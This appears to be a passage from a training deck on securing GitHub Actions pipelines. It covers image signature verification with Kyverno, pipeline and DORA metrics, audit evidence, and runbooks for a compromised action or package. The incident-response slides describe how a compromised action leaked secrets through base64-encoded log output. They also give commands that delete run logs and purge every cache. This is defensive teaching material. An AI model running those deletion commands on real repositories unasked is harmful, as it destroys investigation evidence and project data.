  • The digest flows through env:, never interpolated inside run:.
  • Auto-merge for dev is fine; staging and prod PRs need human review (ch 13).
  • Prod promotion copies the same digest that ran in staging: no rebuild.
  • Git author/committer settings and branch protection on gitops-lab omitted for brevity.
Break-glass

Break-glass: running something unverified, on purpose

Outages happen when the signing path is down. Plan the exception before you need it.

When

  • Sigstore, Signer or the registry is unavailable and a fix must ship.
  • An urgent third-party image without a signature.
  • A policy bug blocking a critical workload.

How

  • A narrow exception: one namespace, one image digest, short expiry.
  • Kyverno: a PolicyException resource scoped to the workload; or switch that policy to Audit for one namespace.
  • Made through Git (PR in the config repo) so it is reviewed, logged and reverted.
  • Pre-approved responders only; page security when it is used.

After

  • Remove the exception (a dated PR, a reminder, or an alert on its age).
  • Rebuild and sign the artifact through the normal pipeline.
  • Postmortem: why did the normal path fail, and how to avoid the exception next time.
  • Review policy reports: any other unverified images during the window?

Restrict who can create policy exceptions with RBAC; an exception anyone can create is a bypass, not a process.

Common mistakes

Deploy-time verification mistakes

Most failures are either "verifies nothing" or "blocks everything".

Verifies nothing

  • Policy matches the wrong registry glob (typo, missing account ID or Region).
  • Left in Audit forever.
  • Identity regexp .*: any GitHub workflow passes.
  • Attestations stored only in GitHub's API while the policy reads the registry.

Blocks everything

  • Enforced cluster-wide on day one, including kube-system.
  • Policy engine has no registry credentials: every check fails.
  • Single-replica webhook: its outage blocks all Pod creation.
  • Webhook timeout shorter than signature lookups on a slow registry.

Process

  • Tags instead of digests in manifests.
  • No break-glass path, so people disable the policy during an incident.
  • Using the deprecated verifyImages for new work after Kyverno 1.19.
  • Revocation never tested with AWS Signer.
Self-check

Verifying at deploy time: can you answer these?

Explain the answer and name the exact field or component.

Kyverno

  • Which CRD replaces the verifyImages rule, and in which version was the rule deprecated?
  • What do matchImageReferences, attestors and validations each do?
  • How do you require a SLSA provenance attestation as well as a signature?
  • How do you roll out a policy without blocking production on day one?

AWS Signer

  • Name the two documented ways to verify AWS Signer signatures on EKS.
  • Which permissions does the verifier need on AWS?
  • What should happen when a signature is revoked, and how do you test it?

GitOps loop

  • Why must manifests reference digests, not tags?
  • Which token should CI use to open a PR in the config repo?
  • What makes a break-glass process safe rather than a bypass?
  • Why is verification in Argo CD or CI alone not enough?

Practice: Lab 12 in Hands-on labs — Kyverno ImageValidatingPolicy on kind requiring your workflow's signature; an unsigned image is rejected.

Chapter 13

Metrics, operations and governance

Run the pipeline like a production service: measure it, prove what it did, and know what to do when it is attacked.

Chapter 13 · Part 13.1

Pipeline observability

Duration, queue time, failures, flakiness, cost — and the five DORA metrics.

What to measure

Pipeline health signals

The pipeline is a product used by every engineer. Measure it like one.

SignalDefinitionWhy it mattersTypical target
DurationRun start → completion, p50 and p95, per workflowFeedback speed; long CI means batching and bigger changesPR checks under ~10 min
Queue timeJob created → job startedRunner capacity; spikes mean too few runners or concurrency limitsSeconds, not minutes
Success rateSuccessful runs / all runs on the default branchA red main blocks everyoneClose to 100% on main
Flaky rateRuns that failed, then passed on re-run with no code changeErodes trust; people stop reading failuresTrack and drive down
Re-run rateRun attempts > 1 / all runsHidden cost and frustrationLow and falling
CostBillable minutes, larger-runner minutes, storageBudget and waste (Cost slide below)Known per repo / team

Measure per workflow and per job: one slow integration job usually dominates the total.

Data sources

Where pipeline data comes from

Pull it from the API for reports; push it from webhooks for live dashboards.

REST API / gh CLI

  • GET /repos/{owner}/{repo}/actions/runs: status, conclusion, event, branch, head SHA, timestamps, attempt.
  • GET …/actions/runs/{run_id}/jobs: per-job start/finish, runner name and labels.
  • gh run list --json … and gh run view --json … wrap the same data.
  • Good for daily reports and backfills; mind API rate limits.

Webhooks

  • workflow_run and workflow_job events (org or repo webhooks, or a GitHub App).
  • Push to a small collector (Lambda + API Gateway, or an OpenTelemetry collector).
  • Emit metrics: duration, queue time, conclusion, labels as dimensions.
  • Near real time; no polling.

Built-in views

  • Run and job timing in the Actions UI; billable time for private repos on GitHub-hosted runners.
  • Organization-level Actions usage and performance metrics, where your plan provides them.
  • Billing reports for minutes and storage.
  • Good enough to start; export when you need history or alerting.
gh + jq

A quick report: duration, queue time and failures

Enough to answer "is CI getting slower?" without building a platform.

REPO=<you>/cicd-lab
# last 200 runs of the CI workflow on main
gh run list -R $REPO --workflow ci.yml --branch main -L 200 \
  --json databaseId,conclusion,createdAt,startedAt,updatedAt,attempt \
  > runs.json

# p50 / p95 duration in seconds (completed runs)
jq '[.[] | select(.conclusion != null)
     | ((.updatedAt|fromdate) - (.startedAt|fromdate))] | sort
    | {p50: .[length/2|floor], p95: .[length*0.95|floor]}' runs.json

# failure rate and re-run rate
jq '{runs: length,
     failed: ([.[] | select(.conclusion=="failure")] | length),
     rerun:  ([.[] | select(.attempt > 1)] | length)}' runs.json

# per-job timing for one run
gh run view <run-id> -R $REPO --json jobs \
  --jq '.jobs[] | [.name, .startedAt, .completedAt, .conclusion] | @tsv'

Reading it

  • updatedAt − startedAt approximates run duration; for exact numbers use job timestamps.
  • Queue time per job: job created_at vs started_at in the jobs API.
  • Group by event to separate PR checks from main and release runs.
  • Flaky detection: same headSha, a failed attempt followed by a successful one.
  • Lab 13 builds this report and turns it into a weekly trend.
Live metrics

Streaming job events into metrics

A small collector turns workflow_job webhooks into time series you can alert on.

GitHub orgworkflow_job webhookCollectorLambda / OTel collectorMetricsCloudWatch / PrometheusLogs / tracesper job, per stepDashboardsalertsHTTPS + secretDimensions: repository, workflow, job name, runner label (ubuntu-latest, larger runner, self-hosted), conclusion.Alerts: p95 duration up 30% week over week; queue time > 2 min for 15 min; main failing for > 1 h.Validate the webhook signature (X-Hub-Signature-256) before trusting the payload.

Self-hosted runners (ARC on EKS) add their own metrics: idle runners, scale-up latency, node cost. Watch both sides.

DORA

The five DORA metrics

DORA groups them into throughput and instability. Measure services, not individuals.

Throughput

MetricQuestion it answers
Change lead timeHow long from commit to running in production?
Deployment frequencyHow often do we deploy to production?
Failed deployment recovery timeWhen a deployment causes a failure, how fast do we recover?

Instability

MetricQuestion it answers
Change fail rateWhat share of deployments needs immediate intervention (rollback, hotfix)?
Deployment rework rateWhat share of deployments are unplanned, made because of a production incident?

Older material lists four keys and "MTTR". Current DORA guidance uses the five above; "failed deployment recovery time" replaced MTTR. Source: dora.dev/guides/dora-metrics/.

Computing DORA

Computing DORA metrics from pipeline and incident data

You need three event streams: commits, production deployments, and incidents linked to deployments.

MetricFormulaData source
Lead timedeploy time − commit time, median per periodCommit SHA in the promotion PR → Argo CD sync / GitHub deployment record
Deploy frequencyproduction deployments per day / weekMerged prod promotion PRs, or GitHub deployments to prod
Change fail ratefailed deployments / all deploymentsIncidents or rollbacks linked to a deployment
Recovery timerecovery time − failure start, medianIncident records
Rework rateunplanned deployments due to incidents / all deploymentsDeployments labelled hotfix / incident

Making it measurable

  • Label promotion PRs: planned vs hotfix, and link incidents to the deployment that caused them.
  • Record the commit SHA and digest in each deployment (GitOps promotion PR, 12.3).
  • One definition of "production deployment" per service; write it down.
  • Look at trends and distributions, never a single number; never rank people by it.
Cost

Runner cost and how to cut it

Most CI waste is jobs that did not need to run, or ran longer than needed.

What you pay for

  • GitHub-hosted standard runners: free minutes for public repos; private repos use plan minutes, then per-minute billing.
  • Larger runners (more CPU, GPU, ARM sizes) are always billed per minute, also on public repos.
  • Windows and macOS minutes cost more than Linux minutes.
  • Storage for artifacts, caches and packages.
  • Self-hosted: your compute, network and operations time. Check GitHub's current billing docs for any platform charges.

Cut waste

  • concurrency with cancel-in-progress: true for PR workflows.
  • Path filters / change detection in monorepos (ch 3).
  • timeout-minutes on every job: hung jobs burn minutes for hours otherwise.
  • Caches (ch 2) and registry layer cache (ch 5).
  • Shorter artifact retention; smaller matrices on PRs, full matrix nightly.

Self-hosted at scale

  • ARC on EKS with ephemeral runners and Karpenter; Spot for non-critical jobs.
  • Scale to zero outside working hours.
  • Compare total cost honestly: people time to run ARC is real.
  • Security first: never let public-repo or fork jobs reach self-hosted runners (ch 9).
Chapter 13 · Part 13.2

Audit and compliance

Who changed what, who approved it, and the evidence an auditor will ask for.

Audit log

GitHub audit log and streaming

Organization and enterprise audit logs record settings changes, secrets, workflows, environments and access.

What is in it

  • Changes to Actions settings and allowed-actions policies.
  • Secret and variable create / update / delete (values are never logged).
  • Environment and protection rule changes; ruleset and branch protection changes.
  • Workflow runs and approvals, membership and permission changes, token and App installs.
  • Query in the UI, with the REST API, or export.

Streaming (GitHub Enterprise Cloud)

  • Enterprise owners can stream audit and Git events to external storage or a SIEM.
  • Destinations include Amazon S3, Azure Blob Storage, Azure Event Hubs, Google Cloud Storage, Splunk and Datadog — check the docs for the current list.
  • Retention in GitHub is limited; streaming keeps the history you need for audits.
  • Stream to S3 with Object Lock for tamper-evident retention.

Pair it with AWS

  • CloudTrail AssumeRoleWithWebIdentity events show when GitHub OIDC tokens assumed your roles.
  • CloudTrail for ECR pushes, Signer signing and Secrets Manager reads by CI roles.
  • Correlate by time and role name with workflow runs.
  • Alert on CI roles used outside expected hours or from unexpected repos (trust policy should already block that).
Separation of duties

Separation of duties with rulesets and environments

No single person should be able to write, approve and deploy a production change alone.

On the code

  • Rulesets on main and release tags: pull request required, at least one approval from someone other than the author.
  • CODEOWNERS for sensitive paths: .github/workflows/, IaC, policy files.
  • Dismiss stale approvals when new commits are pushed.
  • Keep the ruleset bypass list short and audited.

On the deployment

  • Environment prod: required reviewers, with prevent self-review turned on.
  • Deployment branch and tag policy: only main or v* tags can deploy to prod.
  • Environment secrets and the prod OIDC role (sub environment:prod) only reachable from that environment.
  • GitOps: prod promotion PR reviewed by a second person.

On the platform

  • Org owners are few and use separate admin accounts if possible.
  • Changes to rulesets, environments and Actions policy are themselves reviewed (Terraform for GitHub, or a change ticket).
  • Break-glass access is time-limited and logged (12.3).
Evidence

Change management evidence map

Auditors ask the same questions for every production change. Make each answer a link, not a meeting.

QuestionEvidenceWhere it lives
What changed?PR diff and linked issue / ticketGitHub pull request
Who approved it?PR review by a non-author; environment approvalPR reviews; deployment review history
Was it tested?Required status checks passed on the merged commitChecks on the commit; workflow run logs
Which artifact shipped?Image digest with signature and provenanceRegistry, attestations, promotion PR
When did it reach prod?Deployment record and sync timeGitHub deployments, Argo CD history
Who had access?Settings and permission changesAudit log stream, CloudTrail

Retention: keep evidence as long as your compliance framework requires; GitHub run logs and artifacts expire by default, so export what you must keep.

Compliance mapping

Typical control → implementation

Frameworks (SOC 2, ISO 27001, PCI DSS) phrase it differently; the implementation is the same.

Control intentImplementation in this deckChapter
Changes are authorized and reviewedRulesets, CODEOWNERS, environment reviewers, prevent self-review3, 13
Changes are tested before productionRequired checks, merge queue, quality gates6
Only approved artifacts run in productionSignatures, provenance, admission policy, digest pinning11, 12
Least privilege for automationOIDC roles per environment, read-only GITHUB_TOKEN, App tokens4, 9
Vulnerabilities are managedScanning gates, SBOMs, SLAs, VEX5, 10
Activity is logged and retainedAudit log streaming, CloudTrail, exported run evidence13
Chapter 13 · Part 13.3

Incident response for CI/CD

A compromised action, package or token: scope it, contain it, rebuild, and learn.

Triggers

When the pipeline itself is the incident

Real examples from chapter 8 show the patterns to prepare for.

Typical triggers

  • Advisory: a third-party action you use was compromised (tags repointed, as with tj-actions/changed-files).
  • Advisory: a package version in your lockfile is malicious (Shai-Hulud waves on npm).
  • Secret scanning or a partner reports a leaked token.
  • Unexpected CloudTrail activity by a CI role; unexpected workflow file changes.

What is at risk

  • Secrets available to the affected jobs (repo, org, environment secrets).
  • Tokens: GITHUB_TOKEN (expires when the job ends), PATs, App keys, registry and npm tokens.
  • Cloud access through OIDC roles during the window.
  • Artifacts built in the window (images, packages) and anything they reached.

Prepared in advance

  • An inventory of which repos use which actions and packages (code search, SBOMs).
  • Owners and on-call for the CI platform.
  • Secret rotation runbooks per secret type.
  • Attestations and digests to identify what was built when.
Runbook

Runbook: compromised third-party action

Same phases as any incident; the evidence lives in GitHub, the registry and CloudTrail.

1 · Scope

  • Find every workflow that uses it: org code search.
  • List runs that executed it during the window.
  • Pinned to a safe SHA? Those runs were not affected.
→

2 · Contain

  • Block the action in the org allowed-actions policy (blocklist entry).
  • Disable affected workflows if needed.
  • Read and delete run logs that printed secrets.
→

3 · Eradicate

  • Rotate every secret the affected jobs could read.
  • Revoke PATs and App keys; review OIDC role use in CloudTrail.
  • Purge caches written in the window.
→

4 · Recover

  • Pin to a known-good SHA or replace the action.
  • Rebuild and re-sign artifacts built in the window; redeploy.
  • Verify deployed digests against attestations.
→

5 · Learn

  • Postmortem: which control would have stopped it?
  • Usually: SHA pinning, read-only token, fewer secrets in jobs, egress control (ch 9).
Scope commands

Scoping with gh and the API

Answer "where do we use it, and which runs executed it?" in minutes.

ACTION=tj-actions/changed-files   # example
ORG=<your-org>

# 1. which workflows reference it (tag or SHA)?
gh search code "$ACTION" --owner "$ORG" --filename '*.yml' \
  --json repository,path --jq '.[] | "\(.repository.nameWithOwner) \(.path)"'

# 2. runs of an affected workflow in the window
gh api -X GET "repos/$ORG/web/actions/workflows/ci.yml/runs" \
  -f created='2025-03-14..2025-03-16' --paginate \
  --jq '.workflow_runs[] | [.id, .head_branch, .conclusion, .created_at] | @tsv'

# 3. inspect and then delete logs that may contain secrets
gh run view <run-id> -R "$ORG/web" --log | less
gh api -X DELETE "repos/$ORG/web/actions/runs/<run-id>/logs"

# 4. purge caches written during the window
gh cache list -R "$ORG/web"
gh cache delete --all -R "$ORG/web"

Notes

  • Code search finds references in workflow files and composite actions; also search for reusable workflows that wrap the action.
  • Logs can contain secrets in encoded form (the tj-actions payload printed them double base64-encoded) — masking does not catch that.
  • Deleting logs removes evidence too: copy what you need for the investigation to restricted storage first.
  • Public repos: assume logs were read by others before you deleted them; rotate regardless.
Secrets triage

Which credentials to rotate, and how urgently

Rotate based on what the affected jobs could reach, not on what you think was printed.

CredentialExposure if a job was compromisedAction
GITHUB_TOKENValid until the job ends; scoped by permissions:No rotation; review what it could write during the run
OIDC → AWS roleNo stored secret; attacker could act as the role during the runCheck CloudTrail for the role in the window; tighten trust policy
Repo / org / env secretsFully exposed if available to the jobRotate at the source, then update GitHub
PATs, App private keysLong-lived; reusable anywhereRevoke immediately; prefer App tokens and OIDC
npm / PyPI / registry tokensCan publish malicious versions (worm propagation)Revoke; move to trusted publishing (OIDC) where the registry supports it
Cloud static keysLong-lived cloud accessDeactivate, rotate, then remove: replace with OIDC (ch 4)
Compromised package

Variant: a malicious dependency version

Same phases; the scope is lockfiles and builds instead of workflow files.

Scope

  • Search lockfiles (package-lock.json, pnpm-lock.yaml, go.sum, poetry.lock) for the bad versions.
  • Query stored SBOMs (ch 10) for the package and version across images.
  • Find builds and developer machines that installed it in the window.

Contain and eradicate

  • Pin to a safe version or remove the dependency; block it in your registry proxy if you have one.
  • Rotate every token reachable from affected CI jobs and developer machines.
  • Look for persistence the malware creates: new workflow files, new repos, changed tokens.
  • Purge CI caches that hold node_modules or package caches.

Recover and prevent

  • Rebuild images from clean caches; re-sign; redeploy digests.
  • Dependency cooldown (do not adopt versions younger than N days) in Renovate or Dependabot.
  • Install scripts disabled where possible (and know that later malware ran on import instead).
  • Trusted publishing for your own packages.
Tabletop

Tabletop exercise: run it before you need it

One hour, a scenario, the real people, and a timer.

Scenario

  • 09:00 an advisory says action <org-tools>/setup-thing@v2 was repointed to malicious code yesterday 14:00–20:00.
  • It prints environment variables, base64-encoded, to logs.
  • You use it in 40 repos, some by tag, some by SHA.
  • Two of those workflows deploy to prod with OIDC.

Questions to answer

  • How long until you know every affected run?
  • Which secrets were available to those jobs, and who owns each?
  • Which images were built in the window, and are they running?
  • Who decides to block the action org-wide, and how fast can it be done?
  • What do you tell customers, if anything?

Outputs

  • Time to scope, time to contain: write them down.
  • Gaps: missing inventory, unknown secret owners, no log export.
  • Action items with owners and dates.
  • Repeat twice a year; rotate the scenario (package, token leak, runner compromise).
Common mistakes

Operations and governance mistakes

They usually surface during an audit or an incident — the worst time to find them.

Metrics

  • Measuring only total duration; the slow job stays hidden.
  • Using DORA numbers to compare teams or people.
  • Counting every merge as a "deployment" without a written definition.
  • No timeout-minutes: a hung job bills for hours.

Governance

  • Prod environment without prevent self-review.
  • Long ruleset bypass list "for convenience".
  • Audit log not exported: history gone when you need it.
  • Evidence spread across chats instead of PRs and records.

Incidents

  • Rotating only the secrets that appeared in logs.
  • Deleting logs before saving evidence.
  • Forgetting caches and artifacts built in the window.
  • No inventory of actions and packages per repo.
Self-check

Metrics, operations and governance: can you answer these?

Explain the answer and name the exact setting, API or record.

Metrics

  • How do you compute queue time for a job?
  • Name the five DORA metrics and group them.
  • Which data do you need to compute deployment rework rate?
  • Three settings that cut CI cost without losing coverage.

Governance

  • Which environment setting stops an engineer approving their own prod deploy?
  • Where do you find who changed an environment's protection rules?
  • Which CloudTrail event shows a GitHub workflow assuming an AWS role?
  • Name the evidence for "which artifact shipped".

Incidents

  • First three steps when an action you use is compromised?
  • Why is GITHUB_TOKEN lower risk than a PAT?
  • Why may masked secrets still leak into logs?
  • What must happen to images built during the compromise window?

Practice: Lab 13 in Hands-on labs — collect run metrics with gh run list and the API, compute the five DORA metrics, and run a compromised-action tabletop.

Capstone

One repo, from commit to a verified image in the cluster

Everything in the deck in one pipeline. Build it after Lab 12; it hands over to the GitOps deck at the promotion PR.

DeveloperPR to cicd-labPR checkslint · test · CodeQL · zizmorReusable CI workflowpinned by SHABuild (Buildx)multi-arch, registry cacheAmazon ECROIDC role, immutable tagsScan gatesInspector + GrypeSBOM (Syft)SPDX attestationSign + attestcosign keyless · provenancePromotion PRdigest → gitops-lab envs/devArgo CD (GitOps deck)syncs dev → prodKyverno ImageValidatingPolicysignature from release.yml onlyPod admittedor denied, with a reasonNo long-lived cloud keys anywhere:OIDC for AWS, Sigstore for signing.

The artifact that reaches the cluster is identified by digest, signed by one workflow identity, and carries an SBOM and SLSA provenance you can verify offline.

Capstone

Build order and acceptance checklist

Done means every box is ticked and proven with a command, not a screenshot.

Build order

  • 1 · Reusable workflow ci.yml (lint, test, build) called by the app workflow (Lab 3).
  • 2 · OIDC role gha-cicd-lab scoped to environment:prod (Lab 4).
  • 3 · Buildx multi-arch push to ECR with registry cache; Inspector on push (Lab 5).
  • 4 · Gates: CodeQL, dependency review, Checkov, zizmor, actionlint (Labs 6, 9).
  • 5 · Syft SBOM, Grype gate with a VEX file (Lab 10).
  • 6 · cosign keyless signature + build provenance attestation (Lab 11).
  • 7 · Kyverno policy on kind trusting only release.yml@refs/heads/main (Lab 12).
  • 8 · Last CI step opens a promotion PR with the digest (Lab 7).

Acceptance

  • No AWS access key exists in GitHub: gh secret list shows none.
  • Every uses: is a full SHA; zizmor and actionlint pass as required checks.
  • Re-pushing an existing tag to ECR fails (tag immutability).
  • A critical CVE fails the build unless a VEX statement covers it.
  • gh attestation verify oci://… --repo <you>/cicd-lab passes.
  • An unsigned image, or one signed by another workflow, is denied by Kyverno.
  • The five DORA metrics come out of one script (Lab 13).

Stretch goals

  • Build L3: move build + attestation into a reusable workflow; verify with --signer-workflow.
  • ECR managed signing with AWS Signer, verified with Notation.
  • Self-hosted ephemeral runners with Actions Runner Controller on EKS.
  • OpenSSF Scorecard ≥ 8 on the repo.
  • Tabletop: a pinned action is compromised — prove you are not affected.
Cheat sheet

Workflow syntax and events

One screen to remember the shape of a workflow and what each trigger can see.

name: ci
on:
  push: {branches: [main], tags: ['v*']}
  pull_request: {paths-ignore: ['docs/**']}
  workflow_dispatch:
    inputs: {sign: {type: boolean, default: true}}
permissions: {contents: read}          # least privilege
concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true
jobs:
  test:
    runs-on: ubuntu-latest
    strategy: {matrix: {go: ['1.26', '1.27']}}
    steps:
      - uses: actions/checkout@<sha>   # vN
        with: {persist-credentials: false}
      - uses: actions/setup-go@<sha>   # vN
        with: {go-version: '${{ matrix.go }}'}
      - run: go test ./...
  release:
    needs: test
    if: github.ref == 'refs/heads/main'
    environment: prod                  # protection rules
    permissions: {contents: read, id-token: write}
    runs-on: ubuntu-latest

Events

EventRuns code fromToken / secrets for forks
pushThe pushed commitn/a (no forks)
pull_requestPR merge commitRead-only token, no secrets
pull_request_targetBase branch workflowWrite token + secrets: never run PR code
workflow_runDefault branch workflowPrivileged: treat artifacts as untrusted
workflow_callCaller passes inputs/secretsInherits caller context
workflow_dispatchChosen ref, typed inputsNeeds write access to trigger
merge_groupMerge queue candidateRequired checks must listen to it
Cheat sheet

OIDC to AWS: trust policy templates

Always pin aud and the full sub. Print the real sub from a debug step first (Lab 4): new repos use the immutable form.

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"Federated": "<provider ARN>"},
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
        "token.actions.githubusercontent.com:sub":
          "<exact sub printed by your debug step>"
      }
    }
  }]
}

sub shapes

Job contextClassic sub
Provider ARNarn:aws:iam::<acct>:oidc-provider/token.actions.githubusercontent.com
Job with environment: prodrepo:<owner>/<repo>:environment:prod
Push to a branchrepo:<owner>/<repo>:ref:refs/heads/main
Tag pushrepo:<owner>/<repo>:ref:refs/tags/v1.2.0
Pull requestrepo:<owner>/<repo>:pull_request
Immutable form (new repos since 15 Jul 2026)repo:<owner>@<owner_id>/<repo>@<repo_id>:… same suffixes
Neverrepo:<owner>/* or * with StringLike — trusts every repo or ref

An environment in the job replaces the ref in sub. Gate prod roles on environment:prod and protect that environment with required reviewers and deployment branches.

Cheat sheet

Hardening checklist for a repository

Each line maps to a chapter and to a check you can automate.

Workflows

  • Top-level permissions: {contents: read}; widen per job only.
  • Every third-party uses: pinned to a full SHA with a # vX.Y.Z comment.
  • Untrusted input (github.event.*.title, head_ref, bodies) only via env:, never inside run: as ${{ }}.
  • No pull_request_target that checks out or runs PR code.
  • actions/checkout with persist-credentials: false unless you push.
  • timeout-minutes and concurrency on every job.

Repository and org

  • Default GITHUB_TOKEN permission: read.
  • Allowed-actions policy: SHA pinning required, allow-list, block list.
  • Rulesets: required checks (tests, CodeQL, zizmor, actionlint), signed commits optional, no force-push.
  • CODEOWNERS for .github/workflows/ and .github/actions/.
  • Environments with required reviewers and deployment branches for prod.
  • Secret scanning + push protection; Dependabot (with cooldown) for actions and modules.

Credentials and artifacts

  • OIDC roles per environment; no cloud keys in secrets.
  • Fork PRs never receive secrets or write tokens.
  • Images referenced by digest; tags immutable in ECR.
  • SBOM + provenance attached to every release image.
  • Admission policy verifies signer identity, not just "is signed".
  • Runbook for a compromised action or package (Chapter 13).
Cheat sheet

cosign, syft, grype, trivy, gh attestation

Always operate on a digest (image@sha256:…), never on a mutable tag.

CommandWhat it does
cosign sign --yes $IMG@$DIGESTKeyless sign in CI (needs id-token: write); bundle format by default in cosign v3
cosign verify $IMG@$DIGEST --certificate-identity <workflow URL@ref> --certificate-oidc-issuer https://token.actions.githubusercontent.comVerify signer identity and issuer
cosign attest --yes --type spdxjson --predicate sbom.spdx.json $IMG@$DIGESTAttach an SBOM as a signed attestation
gh attestation verify oci://$IMG@$DIGEST --repo <you>/cicd-labVerify GitHub build provenance (add --signer-workflow for Build L3)
syft $IMG -o spdx-json=sbom.spdx.json -o cyclonedx-json=sbom.cdx.jsonSBOM in both formats from one scan
syft dir:. -o cyclonedx-jsonSource SBOM (lockfiles, go.mod)
grype sbom:./sbom.spdx.json --fail-on critical [--vex vex.json]Scan an SBOM, fail on severity, apply VEX
trivy image --severity CRITICAL,HIGH --exit-code 1 $IMGImage scan as a gate
trivy config . / trivy fs --scanners vuln,secret .IaC misconfig; repo vulns and secrets
docker buildx imagetools inspect $IMGShow the manifest list and per-platform digests
Cheat sheet

Kyverno ImageValidatingPolicy (keyless, GitHub Actions)

policies.kyverno.io/v1, CEL-based, replaces the legacy verifyImages rule (deprecated in 1.19).

apiVersion: policies.kyverno.io/v1
kind: ImageValidatingPolicy
metadata:
  name: signed-by-release-workflow
spec:
  validationActions: [Deny]   # [Audit] while rolling out
  matchConstraints:
    resourceRules:
      - {apiGroups: [''], apiVersions: [v1],
         operations: [CREATE, UPDATE], resources: [pods]}
  matchImageReferences:
    - glob: 'ghcr.io/<you>/cicd-lab/*'
  attestors:
    - name: gha
      cosign:
        keyless:
          identities:
            - issuer: https://token.actions.githubusercontent.com
              subject: https://github.com/<you>/cicd-lab/.github/workflows/release.yml@refs/heads/main
        ctlog: {url: 'https://rekor.sigstore.dev'}
  validations:
    - expression: images.containers.map(image, verifyImageSignatures(image, [attestors.gha])).all(e, e > 0)
      message: image must be signed by release.yml on main

matchImageReferences = which images; attestors = who may sign; verifyImageSignatures counts verified signatures. Add attestations to require an SBOM or provenance.

Lab setup

Before you start

Labs run on GitHub (public repo = free standard runner minutes) and on a local kind cluster. Labs 4 and 5 use a small AWS sandbox; Lab 11 optionally.

Accounts and tools

  • GitHub account with gh auth login (scopes: repo, workflow; later delete_repo, delete:packages).
  • Docker Desktop, OrbStack or colima running; 4 GB RAM free.
  • AWS sandbox account, AWS CLI v2, export AWS_REGION=ap-northeast-1, a budget alarm (Lab 0).
  • Optional: a free GitHub organization (merge queue in Lab 6 needs an org-owned repo).

Conventions

  • App repo https://github.com/<you>/cicd-lab (public), Go service hello on port 8080.
  • ECR repo cicd-lab/hello; IAM role gha-cicd-lab; environments dev and prod.
  • kind cluster cicd; GitOps config repo gitops-lab (GitOps deck).
  • uses: owner/action@<sha> = the full commit SHA of that action's latest release. Use the release tag until Lab 9 pins everything with pinact.
  • Each lab = Build, Verify, Break it, Clean up. Commit every workflow; later labs extend earlier ones.
brew install gh kind kubectl jq yq \
  cosign syft grype trivy \
  actionlint zizmor pinact awscli gettext

gh --version
cosign version        # v3.x
syft version
grype version
trivy --version
actionlint --version
zizmor --version
aws --version         # aws-cli/2.x
kind version
Lab 0 · Build (1/2)

Setup: the cicd-lab repo, a Go service, a budget alarm

Goal: a public repo with a tiny HTTP service and tests that every later lab builds on.

gh repo create cicd-lab --public --clone && cd cicd-lab
go mod init github.com/<you>/cicd-lab     # go 1.27
cat > main.go <<'EOF'
package main

import (
	"fmt"
	"log"
	"net/http"
	"os"
)

var version = "dev" // set with -ldflags at build time

func hello(w http.ResponseWriter, r *http.Request) {
	fmt.Fprintf(w, "hello from %s\n", version)
}

func main() {
	http.HandleFunc("/", hello)
	http.HandleFunc("/healthz", func(w http.ResponseWriter, _ *http.Request) {
		w.WriteHeader(http.StatusOK)
	})
	port := os.Getenv("PORT")
	if port == "" {
		port = "8080"
	}
	log.Fatal(http.ListenAndServe(":"+port, nil))
}
EOF
cat > main_test.go <<'EOF'
package main

import (
	"net/http/httptest"
	"strings"
	"testing"
)

func TestHello(t *testing.T) {
	rec := httptest.NewRecorder()
	hello(rec, httptest.NewRequest("GET", "/", nil))
	if !strings.HasPrefix(rec.Body.String(), "hello from") {
		t.Fatalf("got %q", rec.Body.String())
	}
}
EOF
go test ./... && go vet ./...
git add . && git commit -m "hello service" && git push -u origin main

# AWS: alarm before anything bills
aws budgets create-budget --account-id $ACCT --budget \
 '{"BudgetName":"cicd-lab","TimeUnit":"MONTHLY",
   "BudgetType":"COST",
   "BudgetLimit":{"Amount":"10","Unit":"USD"}}' \
 --notifications-with-subscribers '[{"Notification":{
   "NotificationType":"ACTUAL","ComparisonOperator":"GREATER_THAN",
   "Threshold":80},"Subscribers":[{"SubscriptionType":"EMAIL",
   "Address":"you@example.com"}]}]'
Lab 0 · Build (2/2)

Setup: a Dockerfile that cross-compiles

Goal: a small, non-root image that Buildx can build for amd64 and arm64 without QEMU (Go cross-compiles).

cat > Dockerfile <<'EOF'
# syntax=docker/dockerfile:1
FROM --platform=$BUILDPLATFORM golang:1.27 AS build
ARG TARGETOS TARGETARCH VERSION=dev
WORKDIR /src
COPY go.mod ./
RUN go mod download
COPY *.go ./
RUN CGO_ENABLED=0 GOOS=$TARGETOS GOARCH=$TARGETARCH \
    go build -trimpath -ldflags "-s -w -X main.version=${VERSION}" \
    -o /out/hello .

FROM gcr.io/distroless/static-debian12:nonroot
COPY --from=build /out/hello /hello
USER nonroot:nonroot
EXPOSE 8080
ENTRYPOINT ["/hello"]
EOF
printf '.git\n*.md\n.github\n' > .dockerignore
docker build --build-arg VERSION=local -t hello:local .
docker run --rm -d -p 8080:8080 --name hello hello:local
curl -s localhost:8080/            # hello from local
curl -s -o /dev/null -w '%{http_code}\n' localhost:8080/healthz  # 200
docker rm -f hello

docker image inspect hello:local --format '{{.Config.User}}'   # nonroot:nonroot
docker image ls hello:local        # a few MB: static binary + distroless

git add Dockerfile .dockerignore
git commit -m "Dockerfile" && git push

# kind cluster used by Labs 7 and 12
kind create cluster --name cicd
kubectl config current-context     # kind-cicd

Pinning golang:1.27 and the distroless base by digest comes in Lab 9; Renovate or Dependabot then keeps the digests fresh.

Lab 0 · Verify, break it, clean up

Everything runs locally before CI touches it

If it does not build on your laptop, CI will only fail slower.

Verify

  • go test ./... passes; go vet ./... is clean.
  • Container answers on / and /healthz; runs as nonroot.
  • kubectl get nodes shows the cicd-control-plane node Ready.
  • The budget shows in Billing → Budgets with an 80% alert.

Break it

  • Root user: remove USER nonroot:nonroot and use debian:12 as the final base → image grows to ~100 MB and whoami is root. Restore distroless.
  • CGO: drop CGO_ENABLED=0 → the binary links libc and fails in static with "no such file or directory". Why is the error message so misleading?
# keep the repo and the kind cluster:
# later labs use both
docker image rm hello:local

# full teardown (only at the very end)
# kind delete cluster --name cicd
# gh repo delete <you>/cicd-lab --yes
Lab 1 · Build

First pipeline: lint, test, build

Goal: a pull-request pipeline that fails fast, ordered by cost, with a visible duration.

# .github/workflows/ci.yml
name: ci
on:
  pull_request:
  push: {branches: [main]}
permissions: {contents: read}
jobs:
  lint:
